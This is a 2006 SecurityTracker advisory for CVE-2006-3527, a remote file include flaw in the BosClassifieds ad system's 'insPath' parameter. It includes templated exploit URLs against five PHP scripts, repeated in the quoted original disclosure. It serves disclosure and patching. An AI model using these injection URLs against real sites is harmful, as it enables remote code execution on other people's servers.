BosClassifieds Classified Ad System Include File Bug Lets Remote Users Execute Arbitrary Code
|
|
SecurityTracker Alert ID: 1016447
|
|
SecurityTracker URL: http://securitytracker.com/id?1016447
|
|
CVE Reference: CVE-2006-3527
(Links to External Site)
|
Updated: Aug 7 2008
|
Original Entry Date: Jul 7 2006
|
Impact: Execution of arbitrary code via network, User access via network
|
Fix Available: Yes
Exploit Included: Yes
Vendor Confirmed: Yes
|
Description: MazaGi reported a vulnerability in BosClassifieds Classified Ad System. A remote user can include and execute arbitrary code on the target system.
The software does not properly validate user-supplied input in the 'insPath' parameter. A remote user can supply a specially crafted
URL to cause the target system to include and execute arbitrary PHP code from a remote location. The PHP code, including operating
system commands, will run with the privileges of the target web service.
Some demonstration exploit URLs are provided:
http://[target]/[path]/index.php?insPath=[evi
l_script]
http://[target]/[path]/recent.php?insPath=[evil_script]
http://[target]/[path]/account.php?insPath=[evil_script]
http://[target]/[path]/classified.php?insPat
h=[evil_script]
http://[target]/[path]/search.php?insPath=[evil_script]
The original advisory is available at:
http://www.jaascois.com/exploits/18602018/
|
Impact: A remote user can execute arbitrary PHP code and operating system commands on the target system with the privileges of the target web service.
|
Solution: The vendor issued a fix (at 1:00 pm US/EDT on July 7, 2006). Customers have been notified by e-mail.
|
Vendor URL: www.bosdev.com/bosclassifieds/ (Links to External Site)
|
Cause: Input validation error, State error
|
Underlying OS: Linux (Any), UNIX (Any), Windows (Any)
|
Reported By: admin@jaascois.com
|
Message History:
None.
|
Source Message Contents
|
Date: Thu, 6 Jul 2006 18:09:47 -0500 (CDT)
From: admin@jaascois.com
Subject: BosClassifieds Classified Ads System Remote File Include
|
/////////////////////////////////////////////////////////
//
// by: MazaGi [ e55@hotmail.com ]
// ref: http://www.jaascois.com/exploits/18602018/
//
//
// BosClassifieds Classified Ads System Remote File Include
// Home: http://www.bosdev.com/bosclassifieds/
// Exploit:
// http://www.site.com/[path]/index.php?insPath=[evil_script]
// http://www.site.com/[path]/recent.php?insPath=[evil_script]
// http://www.site.com/[path]/account.php?insPath=[evil_script]
// http://www.site.com/[path]/classified.php?insPath=[evil_script]
// http://www.site.com/[path]/search.php?insPath=[evil_script]
//
/////////////////////////////////////////////////////////
|
|
